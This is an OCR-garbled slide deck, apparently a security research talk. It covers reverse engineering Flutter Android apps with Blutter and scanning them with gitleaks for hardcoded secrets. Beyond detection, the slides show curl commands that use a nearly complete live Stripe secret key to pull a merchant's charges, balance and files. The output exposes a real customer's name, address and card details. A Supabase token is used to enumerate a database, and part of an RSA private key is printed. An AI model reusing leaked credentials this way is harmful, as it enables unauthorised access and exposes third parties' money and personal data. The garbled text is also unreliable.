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Flutter
Introduction

Flutter is an open-source Ul framework
developed by Google for building natively
compiled mobile, web, and desktop
applications from a single codebase.

Advantages

. Cross-Platform Functionality
. High Performance

. Powerful Design Capabilities
. Time Efficiency

Lower Development Costs
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Applications

Python script with Selenium was used to bulk download
applications from APKCombo.com website.

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options

() | % 4 APKCombo - #1 APK Down X =+

- (&) O B & nttps//apkcombo.com

import time

ig' APKCombo

options = Options()

options.add_argument('--ignore-certificate-errors')
driver = webdriver.Chrome(options=options)

DOWNLOAD APK - LATEST VERSION apps = [
"Fd

"Mu

" Am¢

GAMES - HOT EC
: "Pa

"AZ

14

Search APK

Higgs Games Toca World ~ 555Mix ot in apps:

FGO JP Roblox Garena Free  PUBG Clash of CSR3 - Free Fire
Fire MOBILE Clans Street Car... MAX Island

1B+ 4500 M+ ¥ 500 M+ L N/A £ 500 M+ L 50 M+ ¥ 100 M+ £ 100 K+ L 10( .
driver.get("https://apkcombo.com/")

SEE MORE
search_bar = driver.find_element(By.CSS_SELECTOR, ".ainput[name="'q"]")

search bar.send keys(app)
APPS - HOT ®0A0D @Wo Ln2, Col44 Spacess4 UTF-8 CRLF {3 Python 3.12264-bit L




I t « Bash script was used to verify whether the
n s pec applications were built with Flutter.

L 4+ A& ¢« Akali M Deskiop demoapp lib arm64-v8a
is not a directory"
Places
B Computer
B kali
esktop

ecent

' Trash libapp.so libflutter.so librive_text.so
Documents

Music
Pictures
Videos

& Downloads

Devices
_E File System

Network
[ Browse Network




I t - Example output generated by executing
n S pec the Bash script.

summary:
Total APK files checked: 46
APK files with libflutter.so: 24
APK names with libflutter.so:
ABC Shop_6.98.2_apkcombo.com.apk
AbL :combo.com.apk
Arty 1bo.com.apk
Bus 1.apk
DC1 1bo.com.apk
Duk 12_apkcombo.com.apk
Hof )_apkcombo.com.apk
(0] ymbo.com.apk
Mer :ombo.com.apk
Met +.17.0_apkcombo.com.apk
Mor imbo.com.apk
SNC utes_20240708.0.0_apkcombo.com.apk
SSE ymbo.com.apk
Sac Ipkcombo.com.apk
Sug y.com.apk
Tee y.com.apk
The )0.com.apk
Tog :om.apk
Tri +.16.12_apkcombo.com.apk
UTE :combo.com.apk
Vie +.17.0_apkcombo.com.apk
WeC 9_apkcombo.com.apk
Wec 3.3.1_apkcombo.com.apk
spt : :om.apk




~/Desktop/blutter

=~ /'Desktop blutter_output

-p "
= /blutter_

Reverse P el .
Engineer '

libflutter.so found in /home/kali/Desktop/apk/SNC _apkcombo.com.apk

Dart version: 3.3.1, Snapshot: eeleb666c76a5ch7746faf39d@b97547, Target: android armé64

flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions no-tsan no-asse
rts arme4 android compressed-pointers null-safety

Cloning into '/home/kali/Desktop/blutter/dartsdk/v3.3.1" ...

remote: Enumerating objects: 2385, done.

® B(I)utter WaS used to reverse remote: Counting objects: 100% (2385/2385), done.

remote: Compressing objects: 100% (1935/1935), done.

. remote;: Total 2385 (delta 49), reused 1425 (delta 40), pack-reused @ (from @)
englﬂeer eaCh Flutter Receiving objects: 100% (2385}2385), 1.35 MiB | 4.28 P:‘I:'LB/S, done.
Resolving deltas: 100% (49/49), done.
: M remote: Enumerating objects: 23, done.
app“Cathn. remote: Counting objects: 100% 523/23), done.

remote: Compressing objects: 100% (22/22), done.
H remote: Total 23 (delta @), reused 6 (delta @), pack-reused @ (from 0)
¢ BaSh Scrlpt Was USGd to Receiving objects: 100% (23/23), 137.20 KiB | 1.44 MiB/s, done.
Updating files: 100% (23/23), done.
automate the process remote: Enumerating objects: 2867, done.

. remote: Counting objects: 100% (2867/2867), done.
remote: Compressing objects: 100% (2394/2394), done.
remote: Total 2867 (delta 548), reused 1222 (delta 432), pack-reused @ (from @)
Receiving objects: 100% (2867/2867), 8.48 MiB | 8.19 MiB/s, done.
Resolving deltas: 100% (548/548), done.
Updating files: 100% (3233/3233), done.
-- Configuring done (1.2s)
-- Generating done (0.0s)
-- Build files have been written to: /home/kali/Desktop/blutter/build/dartvm3.3.1_android_armé4
[263/263] Linking CXX static library libdartvm3.3.1_android_armé4.a
-- Install configuration: "Release"
-- Installing: /home/kali/Desktop/blutter/dartsdk/v3.3.1/../../packages/lib/libdartvm3.3.1_android_armé4.a
-- Installing: /home/kali/Desktop/blutter/dartsdk/v3.3.1/../../packages/include/dartvm3.3.1




What is
B(Hutter ?

* A Flutter Mobile Application Reverse
Engineering Tool by Compiling Dart
AOT Runtime.

« Directly analyzes the libapp.so to
extract Dart objects directly from
binary and generates Frida scripts to
dump data in a running Flutter
application.

«  Github:
https://github.com/worawit/blutter

( )-[~/Desktop/blutter]
python blutter.py -h

usage: B(1l)utter [-h] [--rebuild] [--vs-sln] [--no-analysis] [--dart-version DART_VERSION]

indir outdir
Reversing a flutter application tool

positional arguments:

indir A directory directory that contains both libapp.so and libflutter.so

outdir An output directory

options:
-h, --help show this help message and exit
--rebuild Force rebuild the Blutter executable

--vs-sln Generate Visual Studio solution at <outdir>

--no-analysis Do not build with code analysis
--dart-version DART_VERSION

Run without libflutter (indir become libapp.so) by specify

such as "3.4.2 _android_armé64"

Size

ida_script 4.0 KiB

4.0KiB

pp-txt 2.0 MiB

objs.txt 849.3KiB

blutter_frida.js

Type

Folder

Plain text document

Plain text document

JavaScript program

dart version

Date Modified

06/21/24

06/21/24

06/21/24

06/21/24

06/21/24




« Gitleaks was used to scan the pp.txt file of each application.
A Bash script was used to automate the process.

detect -s ”

gitleaks
Finding: ... pt0x17aa@] String: "
Secret:
RulelID: gcp-api-key
Entropy: 4.631305
File: /home/kali/Desktop/blutter_apk/Wed _3.3.1_apkcombo.com.apk/pp.txt
Line: 18356
Fingerprint: /home/kali/Desktop/blutter_apk/wed _3.3.1_apkcombo.com.apk/pp.txt:
gcp-api-key:18356

INF scan completed in 3.83s
leaks found: 1
Gitleaks command executed for /home/kali/Desktop/blutter_apk/Wed _3.3.1_apkcomb
o.com.apk




® —( )-[~/Desktop]
-h
a Is Gitleaks scans code, past or present, for secrets

Usage:
gitleaks [command]

Available Commands:
completion Generate the autocompletion script for the specified shell

)

Gitleaks

detect detect secrets in code
help Help about any command
protect protect secrets in code
version display gitleaks version
Flags:
. . -b, --baseline-path string path to baseline with issues that can be ignored
+ Gitleaks is an open-source secret -c, --config string config file path
. . . . order of precedence:
scanner for git repositories, files, and 1. —config/-c
2. env var GITLEAKS_CONFIG
directories. 3. (--source/-s)/.gitleaks.toml
If none of the three options are used, then gitleaks will use th
+  Github: e default config
. . . . --exit-code int exit code when leaks have been encountered (default 1)
https://github.com/gitleaks/gitleaks.git -h, —-help help for gitleaks

-1, --log-level string log level (trace, debug, info, warn, error, fatal) (default "inf
0“)
--max-target-megabytes int files larger than this will be skipped
--no-banner suppress banner
--redact redact secrets from logs and stdout




S * A Bash script was created to search for keywords
Ca n (2) within the pp.txt file of each application.

" "random" "hash"

1 Lines containing 'firebase' in /home/kali/Desktop/blutter_apk/WeG apkcombo.com.apk/pp.txt
5

3 Lines containing 'cloud' in /home/kali/Desktop/blutter_apk/WeG ipkcombo.com.apk/pp.txt
4
5 Lines containing "gcloud' in /home/kali/Desktop/blutter_apk/WeG apkcombo.com.apk/pp.txt

6

7 Lines containing ‘key' in /home/kali/Desktop/blutter_apk/WeG apkcombo.com.apk/pp.txt
8 [pp+0x6c0] String: "key"

9 [pp+0x2900] String: "filterKey"

10 [pp+0x2910] String: "key"

11 [pp+0x2c50] String: "key"

12 [pp+0x2c80] String: "key"

13 [pp+0x2c88] String: "Key not in map.”

14 [pp+0x32b8] Type: GlobalKey<State<StatefulWidget>>

15 [pp+0x3408] Type: GlobalKey<State<StatefulWidget>>

16 [pp+0x3420] String: "key"

17 [pp+0x3648] TypeArguments: <GlobalKey<State<StatefulWidget>>, Element>




A I * The results from the scan phase were used to
n a yse analyze the ASM folder and the pp.txt file.

File Edit
gitleaks

M Desktop  blutter_apk  SNC combo.com.apk

Finding: ... p+0x17aa@] String:
Secret:

RulelD: gcp-api-key

Entropy: 4.631305

File: /home/kali/Desktop/blutter_apk/Wed _3.3.1_apkcombo.com.apk/pp.txt
Line: 18356

Fingerprint: /home/kali/Desktop/blutter_apk/Wed _3.3.1_apkcombo.com.apk/pp.txt:
gcp-api-key:18356

INF scan completed in 3.83s s ida_script blutter_frida.js

leaks found: 1
Gitleaks command executed for /home/kali/Desktop/blutter_apk/Wed _3.3.1_apkcomb
o.com.apk Music

Documents

Pictures
Videos

Downloads
1 Lines containing 'firebase' in /home/kali/Desktop/blutter_apk/WeG apkcombo.com.apk/pp.txt Devi
2 evices

3 Lines containing 'cloud’ in /home/kali/Desktop/blutter_apk/WeG apkcombo.com.apk/pp.txt E File S
& o

5 Lines containing 'gcloud’ in /home/kali/Desktop/blutter_apk/WeG apkcombo.com.apk/pp.txt Network
[

7 Lines containing 'key' in /home/kali/Desktop/blutter_apk/WeG apkcombo.com.apk/pp.txt D Browse Network
8 [pp+ox6c0] String: "key"

9 [pp+@x2900] String

10 [pp+0%2910] String:

11 [pp+@x2c50] String

12 [pp+0x2c80] String

13 [pp+@*2c88] String: "Key not in map.”

14 [pp+0x32b8] Type: GlobalKey<State<StatefulWidget>>

15 [pp+@x3408] Type: GlobalKey<State<StatefulWidget>>

16 [pp+0x3420] String:

17 [pp+0x3648] TypeArguments: <GlobalKey<State<StatefulWidget>>, Element>




Results

Amount of Flutter
Applications gathered.

Flutter Applications B Other Applications




Hardcoded credentials
within Flutter applications.
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* Passwords that are inserted directly into software application’s

Passwo rd source code are referred to as hardcoded or embedded

passwords.

COMMSIEC



* Requests connected to a project can be authenticated using the API
key, which is a special identification.

* Some developers may choose to leave it on public shares or
hardcode them.

API Key

Stripe Secret Key

Twitter API Key and Secret

COMMSIEC




* Acryptographic variable called a private key is used to encrypt
and decrypt data along with an algorithm.

P rivate Key +  Only those who are allowed to decrypt the material or the key

generator should have access to private keys.

——BEGIN RSA PRIVATE KEY

MIICWgIBAAKBgGFaIOYhPbid2muHYL2CBmNNZVpEtfTA0QUYpNbkS5Y50XpUXxnE94
YUuTalcle5dlYf86X4jq7Mel4Y7Ljs+mdI+bWgteQmEg/by2zUWuS+20WtIcU2S]
0EjzIxv70s/0r2A5boLEaedkCOghi5SXDT1ImtEU62DKB1XxN8ubMz0s3DAgMBAAEC
gYAsCs {h8GoCzu
SXBREK LQzInvzS
1g0ivy FIM7Jj2v
PIXBPE 1rROWrGH
9Q27EC /zQHvpzM
kQZqBL (ZVsjCql
1Rm4g7 \kB5/YYq
j/Vnbr 2IyRv++a
vyFALIdG8PVJFK1XAKAKVPRMJJIJQVLLE/HOE3CTYyKXpc4WbZIXU2GUalczELeG4

Sy5pzvF4JDiBe jWDDfLKfrwXFmgpEb7z+10YMNOE
END RSA PRIVATE KEY

COMMSIEC



* Access tokens grant users access to a website, application,

or APl and are utilized in token-based authentication.
Access To ke n * The token acts as the user's entry ticket, so once their
identity has been verified, they won't need to enter their
credentials again for the duration of the token.

AWS Access token

JWT

COMMSIEC



*  When an application programming interface (API) is

AP I E n d pOi nt visible to ecosystems outside of its immediate

environment, it's known as APl exposure.
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Application # 1

* This application is used to manage various aspects of a user's gaming account, such
as viewing friends' activities, checking trophies and sending messages.
* Reverse engineer the application with B(l)utter.

)-[~/Desktop/blutter

on blutter.py '/home/kali/Desktop/Application_1/1ib/arm64-v8a' '/home/kali/Desktop/Blutter_A
pplication_1'
Dart version: 3.4.3, Snapshot: d2@albe77c3d3c41b2a5accaeelce549, Target: android armé4
flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions no
-tsan no-asserts arm64 android compressed-pointers null-safety
Cloning into '/home/kali/Desktop/blutter/dartsdk/v3.4.3" ...
remote: Enumerating objects: 2435, done.
remote: Counting objects: 100% (2435/2435), done.
remote: Compressing objects: 100% (1961/1961), done.
remote: Total 2435 (delta 51), reused 1432 (delta 44), pack-reused 0
Receiving objects: 100% (2435/2435), 1.36 MiB | 14.67 MiB/s, done.
Resolving deltas: 100% (51/51), done.
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 24 (delta @), reused 6 (delta @), pack-reused 0
Receiving objects: 100% (24/24), 143.03 KiB | 1.39 MiB/s, done.
Updating files: 100% (24/24), done.
remote: Enumerating objects: 2850, done.
remote: Counting objects: 100% (2850/2850), done.
remote: Compressing objects: 100% (2380/2380), done.
remote: Total 2850 (delta 536), reused 1190 (delta 429), pack-reused 0
Receiving objects: 100% (2850/2850), 8.50 MiB | 6.50 MiB/s, done.
Resolving deltas: 100% (536/536), done.
Updating files: 100% (3216/3216), done.

Size Type ~ Date Modified

ida_script 4.0KiB Folder 06/21/24

4.0KiB Folder 06/21/24

pp.txt 2.0 MiB Plain text document 06/21/24

objs.txt 849 3KiB Plaintext document 06/21/24

blutter_frida.js 399.3KiB JavaScript program 06/21/24

bé

python3 blutter.py path/to/app/lib/arm64-v8a out_dir

7Y




Application # 1

« Gitleaks was used to scan pp.txt file for hardcoded credentials.

" ( )-[~/Desktop]
—% gitleaks detect -s '/home/kali/Desktop/Blutter_Application_1/pp.txt' --no-git
eaks_Application_1.json

gitleaks ‘ ‘

Finding: ... pp+0x6d00] String: " gitleaks detect —s path/tO/

Secret:

RulelID: stripe-access-token source —ﬂO-git —Verbose —r

Entropy: 4.871928 . .
File: /home/kali/Desktop/Blutter_Application_1/pp.txt ﬂlename’Json

Line: 5280
Fingerprint: /home/kali/Desktop/Blutter_Application_1/pp.txt:stripe-access-token:5280 , ,

Finding: ... 40] String: "Bearer
Secret:

RulelID: stripe-access-token

Entropy: 4,903056

File: /home/kali/Desktop/Blutter_Application_1/pp.txt

Line: 31618

Fingerprint: /home/kali/Desktop/Blutter_Application_1/pp.txt:stripe-access-token:31618

INF scan completed in 3.54s
leaks found: 2




Application # 1

« Stripe offers comprehensive suites of APIs for managing a
wide range of payment-related tasks.

APl keys carry many privileges and must be kept secure.

«  Secret API keys should not be shared in publicly accessible
areas (e.g., GitHub, client-side code).

AUTHENTICATED REQUEST

curl https://api.stripe.com/vl/charges \
-u sk_test_0QcpUlz...950003nNRTSO :

# The colon prevents curl from asking for a password.




Application # 1

Curl command was used to query charges from the Stripe account.

"payment_method_details": {
"card": {

"amount_authorized": 500,

"authorization_code": "101550",

"brand": "mastercard",

"checks": {
"address_linel_check": "unavailable",
"address_postal_code_check": "unavailable",
"cve_check": null

3

"country": "AU",

"exp_month": 8,

"exp_year": 2027,

"extended_authorization": {
"status": "disabled"

¥,

"fingerprint": "rAsnnan

"funding": "debit",

"incremental_authorization":
"status": "unavailable"

3,

"ipnstallments": null,

"lastd": "9724",

"mandate": null,

"multicapture": {
"status": "unavailable"

}

)
"network": "mastercard",

C:\Users\Datafarm>curl https://api.stripe.com/vl/charges -u sk_live_51040eNIsOTAhaYT9nzIuWdmcRCKRxT8elS2
EIbMVtE79qfM6sIlwIsLLxLf :
i
"object": "list",
"data": [
{
"id": "ch_3Ppp6DIsOT
"object": "charge",
"amount": 500,
"amount_captured”: 500,
"amount_refunded": 0,
"application": null,
"application_fee": null,
"application_fee_amount”: null,
"balance_transaction": "txn_3Ppp6DIsOTA
"pilling_details": {
"address": {
"city": "Clifton Beach ",
"country": "AU",
"linel™: "55-57 CLlif
"line2": null,
"postal_code": "U879",
]lstate]l : IIQLD"
b,
"email": null,
"name": "Blake auley ",
"phone": null

bé

curl https://api.stripe.com/Vl/charges -u sk_live_<Secret-Key>:

77



Application # 1

Current balance was retrieved from the Stripe account.

C:\Users\Datafarm>curl https://api.stripe.com/vl/balance -u sk_live_510U4oeNIsOTAhaYT9nzIuWdmcRCKRxT8elS2EIbM
VtE79qfM6sJIlwIsLLxLf :
{
"object": "balance",
"available": [
{
"amount": O,
"currency": "usd",
"source_types": {
"card": 0O
}
}
1,
"livemode": true,
"pending": [
{

"amount": 3112,
"currency": "usd",
"source_types": {
"card": 3112
}
}

éé
( curl https://api.stripe.com/Vl/balance -u sk_live_<Secret-Key>: J
79



plication # 1

Retrieved files that was uploaded by the admin of the Stripe account.

C:\Users\Datafarm>curl https://api.stripe.com/vl/files -u sk_live_510U4oeNIsOTAhaYT9nzIuWdmcRCKRxT8elS2EI
bMVtE79qfM6sJlwIsLLxLFf g
i
"object": "list",
"data": [
i

"id": "file_10crmVIsOT
"object": "file",
"created": 1706284647,
"expires_at": null,
"filename": " P,
"Llinks": {
"object": "list",
"data": [
i
"id": "link_1O0crmWIsOT
"object": "file_link",
"created": 1706284648,
"expired": false,
"expires_at": null,
"file": "file_10crmVIsOT
"livemode": true,
"metadata": {},
"url": "https://files.stripe.com/links/MDB8YWNjdF8xTzRvZU5JcOIUQWhhWVQ5FGZsX2xpdmVfY1lAlclhLc

curl https://api.stripe.com/Vi/files -u sk_live_<Secret-Key>:

77



* This app is designhed specifically for football

Ap pl icatio n # 2 players and coaches to enhance their experience

and performance.
*  Reverse engineer the application with B(l)utter.

R )-[~/Desktop/blutter] e N ‘ R Size Type « Date Modified
—$% pyth blutter.py '/home/kali/Deskt pplication_2/1lib/armé4-v8a' '/home/kali/Desktop/Blutter_A

pplication_2'
Dart version: 3.3.0, Snapshot: eeleb666c76a5cb7746faf39d@b97547, Target: android armé4 ida_script 4.0KiB Folder 06/21/24
flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions no

-tsan no-asserts arm64 android compressed-pointers null-safety

Cloning into '/home/kali/Desktop/blutter/dartsdk/v3.3.0' ...

remote: Enumerating objects: 2385, done. - A.0KiB Folder 06/21/24
remote: Counting objects: 100% (2385/2385), done.

remote: Compressing objects: 100% (1935/1935), done.

remote: Total 2385 (delta 49), reused 1426 (delta 4@), pack-reused @

e e odx (so/0) song -5 i | 4.58 WiB/s, done. pp.txt 2.0MiB Plaintext document 06/21/24
remote: Enumerating objects: 23, done.

remote: Counting objects: 100% (23/23), done.

remote: Compressing objects: 100% (22/22), done.

remote: Total 23 (delta @), reused 6 (delta @), pack-reused @
Receiving objects: 100% (23/23), 137.08 KiB | 1.46 MiB/s, done.
Updating files: 100% (23/23), done.

remote: Enumerating objects: 2867, done.

remote: Counting objects: 100% (2367/2867), done. blutter‘_ﬂ'ida.js 399.3KiB JEI‘;"EISCT'I-ptpl'DgFEIm 06/21/24
remote: Compressing objects: 100% (2394/2394), done.

remote: Total 2867 (delta 548), reused 1220 (delta 432), pack-reused 0

Receiving objects: 100% (2867/2867), 8.48 MiB | 7.8@ MiB/s, done.

Resolving deltas: 100% (548/548), done.

Updating files: 100% (3233/3233), done.

-- Configuring done (2.0s)

-- Generating done (0.1s)

objs.txt Plain text document 06/21/24




+ Gitleaks was used to scan pp.txt file for

Appl ication # 2 hardcoded credentials and found a

private key header.

» ( )-[~/Desktop]
% gitleaks detect -s '/home/kali/Desktop/Blutter_Application_
aks_Application_2.json

2/pp.txt' --no-git --verbose -r gitle

o]

\

o]

gitleaks

Finding: ... p+@x195f@] String: "

Secret:

RulelID: gcp-apli-key

Entropy: 4.855790

- /home/kali/Desktop/Blutter_Application_2/pp.txt

Line: 20081

Fingerprint: /home/kali/Desktop/Blutter_Application_2/pp.txt:gcp-api-key:20081

Finding: ... p+0x1de60] String: "
Secret:

RulelD: private-key

Entropy: 4.396867

File: /home/kali/Desktop/Blutter_Application_2/pp.txt

Line: 22900

Fingerprint: /home/kali/Desktop/Blutter_ Application_2/pp.txt:private-key:22900

INF scan completed in 3.16s
leaks found: 2




* ripgrep isa command line tool that searches

Ap pl icatio n # 2 files for patterns that was given.

- Search for assembly files that contains “private”

éé
:_ rg ‘<pattern>’ ]
rg "private” , ’

: // 0x83fcf@: r@ = FlutterWebviewPlugin. )
1 2 // 0x83fcf@: bl #0x83fd18 ; [package:flutter_webview_plugin/src/base.dar
t] FlutterWebviewPlugin:: FlutterWebviewPlugin.
1 :  _ FlutterWebviewPlugin. (/* No info */) {

)-[~/Desktop/Blutter_Application_2/asm]

// ©x59e39@: r17 = "Unsupported block type for key: "
344 // 0x59e390: add x17, PP, #0x11, 1s1 #12 ; [pp+0x11d2@] "Unsupported block
type for key: "

KeyParams( /* No info =*/) {

1469: get

1661 // 0x67bfc8: rd = _ KeyParams()

i - // @x67bfc8: bl #0x67c020 ; [package:encrypt/encrypt.dart] AbstractRSA::
KeyParams

// @x6deabc: ri16 = "keys/ .pem"
// 0x6deabc: add Xx16, PP, #0x1d, 1sl #12 ; [pp+0x1d018] "keys/



«  From analyzing the assembly,

Ap pl icatio N # 2 | “keys/private.pem?” is a file being

called from the application’s asset.

encrypt_service.dart X

encrypt_service.dart

EncryptService
initiation(




Archive:

inflating:

inflating:
extracting:
extracting:
extracting:
extracting:
extracting:
extracting:
extracting:
extracting:
extracting:
extracting:

extracting:
extracting:
extracting:
extracting:
extracting:
extracting:
extracting:

Application # 2

)-[~/Desktop/Application_2]
Application_2.apk

Application_2.apk

AndroidManifest.xml

DebugProbesKt.bin

META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.
META-INF/androidx.

activity_activity.version
annotation_annotation-experimental.version
appcompat_appcompat-resources.version
appcompat_appcompat.version
arch.core_core-runtime.version
browser_browser.version
core_core-ktx.version

core_core.version
cursoradapter_cursoradapter.version
customview_customview.version
datastore_datastore-preferences.version
datastore_datastore.version
documentfile_documentfile.version
drawerlayout_drawerlayout.version
emoji2_emoji2-views-helper.version
emoji2_emoji2.version
exifinterface_exifinterface.version

A private key was found within the

application’s flutter asset file.

)-[~/../Application_2/assets/flutter_assets/keys]

private.pem
BEGIN RSA PRIVATE KEY

MIICWsTRAAKReGFATOYhPhid2muHY1 2CRmNNZVnFt fTAnALIYnNhkRYSAXnlxnE94

YUu’
oEj:
gYA:
SXBI
ig0:
PIxE
902
kQZ«
1Rm¢
J/Vi

Jcu2s]
\BAAEC
3GoCzu
rInvzs
73j2v
R0WrGH
JHvpzM
/sjiCql
35/YYq
{Rv++a

VyFALIdG8PVIFk1XAKAKVPRMIITIIQVL1g7HoE3CTykxpc4WbZIXU2GUalczELeG4
Sy5pzvF4IDiBejWDDfLKfrwXFmqpEb7z+10YMNOE

END RSA PRIVATE KEY




*  This app is a mindful eating tracker

Appl ication # 3 created to assist users in developing

a healthy relationship with food.

* Reverse engineer the application
with B(l)utter.

)-[~/Desktop/blutter] e N - Size Type » Date Modified
ython blutter.py '/home/kali, plication lib/armé 2 /home/ 'Des L

Applicatior

Dart version: 3.1.2, Snapshot: 7dbbeeb8ef7b91338640dca3927636de, Target: android armé64 ida_script 4.0KiB Folder 06/21/24

flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions n

o-asserts armé4 android compressed-pointers null-safety

Cloning into '/home/kali/Desktop/blutter/dartsdk/v3.1.2"' ...

remote: Enumerating objects: 2487, done. = A4.0KiB Folder 06/21/24

remote: Counting objects: 100% (2487/2487), done.

remote: Compressing objects: 100% (2038/2038), done.

remote: Total 2487 (delta 77), reused 1438 (delta 51), pack-reused 0

Receiving objects: 100% (2487/2487), 1.49 MiB | 2.94 MiB/s, done.

Resolving deltas: 100% (77/77), done.

remote: Enumerating objects: 24, done.

remote: Counting objects: 100% (24/24), done.

remote: Compressing objects: 100% (23/23), done. i _ » i R

remote: Total 24 (delta @), reused 8 (delta @), pack-reused @ objs.txt 849.3KiB Plaintext document 06/21/24

Receiving objects: 100% (24/24), 130.41 KiB | 1.24 MiB/s, done.

Updating files: 100% (24/24), done.

remote: Enumerating objects: 3590, done.

remote: Counting objects: 100% (3590/3590), done. blutter_frida.js 399.3KiB JavaScript program 06/21/24

2.0 MiB Plain text document 06/21/24

remote: Compressing objects: 100% (2579/2579), done.

remote: Total 3590 (delta 1176), reused 1925 (delta 967), pack-reused 0
Receiving objects: 100% (3590/3590), 8.21 MiB | 7.88 MiB/s, done.
Resolving deltas: 100% (1176/1176), done.

Updating files: 100% (4070/4070), done.

-- Configuring done (1.9s)

-- Generating done (0.0s)




*  Gitleaks was used to scan for hardcoded

Application # 3 credentials and found JWT.

— )-[~/Desktop/blutter |
L sitleaks detect -s '/home/kali/Desktop/Blutter_Application_3/pp.txt' --no-git --verbose -r gitl
eaks_Application_3.json

gitleaks

Finding: ... pp+0x93c0] String:
Secret:

RulelID: jwt

Entropy: 5.362008

File: /home/kali/Desktop/Blutter_ Application_3/pp.txt

Line: 7436

Fingerprint: /home/kali/Desktop/Blutter Application 3/pp.txt:jwt:7436

INF scan completed in 2.15s
leaks found: 1




Application # 3

* Ripgrep was used to find the JWT within the asm folder.
«  The JWT was found in the assembly with an APl Endpoint.

{ )-[~/Desktop/Blutter_Application_3/asm]
rg "eyJhbGciOiJIUzIINiIsI"

171: // 0x8e8608: r2 = NRS5cCI6IkpXVCI9.eyJyb2x1lIjoiYW5vbiIsImlhdCIGMTYzMzA
2Mz "
172: // 0x8e8608: add X2, PP, #9, 1sl #12 ; [pp+0x93c0] " n




Application # 3

* Supabase is an open-source database infrastructure built on PostgreSQL.

« https://supabase.com/docs

*  The API can be interacted to directly via HTTP requests

/vl/todos' \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: B <SUPABASE_ANON_KEY>"



https://supabase.com/docs

«  Found further APl and database information.

Application # 3 *  This can be used as an attack surface to

perform further attacks.

C:\Users\Datafarm>curl https://cjkrqhzmry .supabase.co/rest/vl/ -H "apikey: eyJhbGci0iJIUzI1INiIsInR5cCI6IkpXV
CJ9.eyJyb2x1IjoiYW5vbiIsImlhdCI6MTYzMzA2MzMyMy ) e _ ) _ " -H
"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJI9.eyJdyb2x1IjoiYW5vbiIsImlhdCI6GMTYzMzA2MzMyMy

{"swagger":"2.0","info": {"description":"" "title":"standard public schema",6 "version":"12.2.2 (db9da@b)"},6 "host":"cjkrq
hzmry .supabase.co:UU3" K "basePath":"/" "schemes":["https"], "consumes":["application/json", "application/vnd.pg
rst.object+json ", Mapplic
ation/vnd.pgrst t":{"prod

uces":["applica nAPI desc
ription (this d wFilter.t
racker.id"}, {"$ _at"}, {"$
ref":"#/paramet :"#/param
eters/rowFilter parameter
s/rowFilter.tra ters/rowF
ilter.traCker.'FUULI_J.LEIIIb"I p L PLIET . HS [Jd.l'd.llli'.‘ LELS/LONFLLLELD. LI'dCHEL . ElNIULLUINS_DeTUulLEe 5,1 PLIET . H/ [Jcl.l'd.lllf:‘ LELS/ J'.'UWFi-l.ter.t
racker.date_time_after"}, {"$ref":"#/parameters/rowFilter.tracker.emotions_after"}, {"$ref":"#/parameters/rowFilter.trac

bé

curl <SUPABASE_URL>/rest/V1/ -H "apikey: <SUPABASE_ANON_KEY>"\
-H "Authorization: Bearer <SUPABASE_ANON_KEY>




«  This application allows you to control
ApplicatiOn # 4 and customize your loT gadget.
*  Reverse engineer the application
with B(l)utter.

Size Type 4 Date Modified
blutter.py

pplication_ t _ lic 4

Dart version: 3.4.0, Snapshot: d2@albe77c3d3c41b2a5accaeelce549, Target: android armé64 ida_script 4.0KiB Folder 06/21/24

flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions n

o-tsan no-asserts armé4 android compressed-pointers null-safety

libapp is loaded at 0x7f6e06600000

Dart heap at @x7f6d00000000 as 4.0KiB Folder 06/21/24

Analyzing the application

Analysis error at line 1466 “void FunctionAnalyzer ::handleArgumentsDescriptorTypeArguments(AsmItera

tor&): insn.id() = ARM64_INS_MOV
0x1289190: sub x15, x15, #0x30 2.0 MiB Plaintext document 06/21/24
0x1289194: ldur w@, [x4, #@xf]
0=x1289198: add x@, x@, x28, lsl #32
©x128919c: chnz w0, #0x12891b0
©x12891a0: str x0, [x15, #-8]!

objs.txt 849.3KiB Plain text document 06/21/24
0x12891a4: stur x22, [x29, #-8] k

blutter_frida.js JavaScript program 06/21/24




+ Gitleaks tool was used to scan pp.txt file.

Ap pl icatio n # 4 *  AWS access token was found hard coded

within the application.

[——f )-[~/Desktop]
—$ gitleaks detect -s '/home/kali/Desktop/Application_4/Blutter Application_4/pp.txt
erbose -r gitleaks_Application_4.json

gitleaks

Finding: ... pp+0xb808] String: "
Secret:
RulelID: aws-access-token

Entropy: 3.684184

File: /home/kali/Desktop/Application_4/Blutter_ Application_4/pp.txt

Line: 8636

Fingerprint: /home/kali/Desktop/Application_4/Blutter Application_4/pp.txt:aws-access-token:8636




Application # 4

« For general use, the aws configure command is the fastest way to set up the AWS CLI installation.
«  An AWS Secret Access Key is still missing.

«  https;//docs.aws.amazon.com/cli/latest/userguide/cli-authentication-user.html

$ aws configure

AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE

AWS Secret Access Key [None]: wlalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name [None]: us-west-2

Default output format [None]: jsen




+ Ripgrep was used to find the location of the AWS token
within the ASM folder.

( J @
Ap pl I cat I o n # 4 «  Found the AWS token located within a file from ASM

folder.

)-[~/Desktop/Application_4/Blutter_Application_4/asm]

g "AKIAS5JVATS

// @x1066aak: r2 = " =
1/ Bx1066aa4: add x2, PP, #@xb, lsl #12 ; [pp+0xb808] "

Uint8List encryptedApiKey;

Uint8List encryptedApiKey()




« Atfile aws_s3_user_clip_upload_secret.dart

Application # 4 contains a secret key which could not be

directly read due to encryption.




Application # 4

* From analyzing the assembly. It was found that within app_initialize_security.dart file at

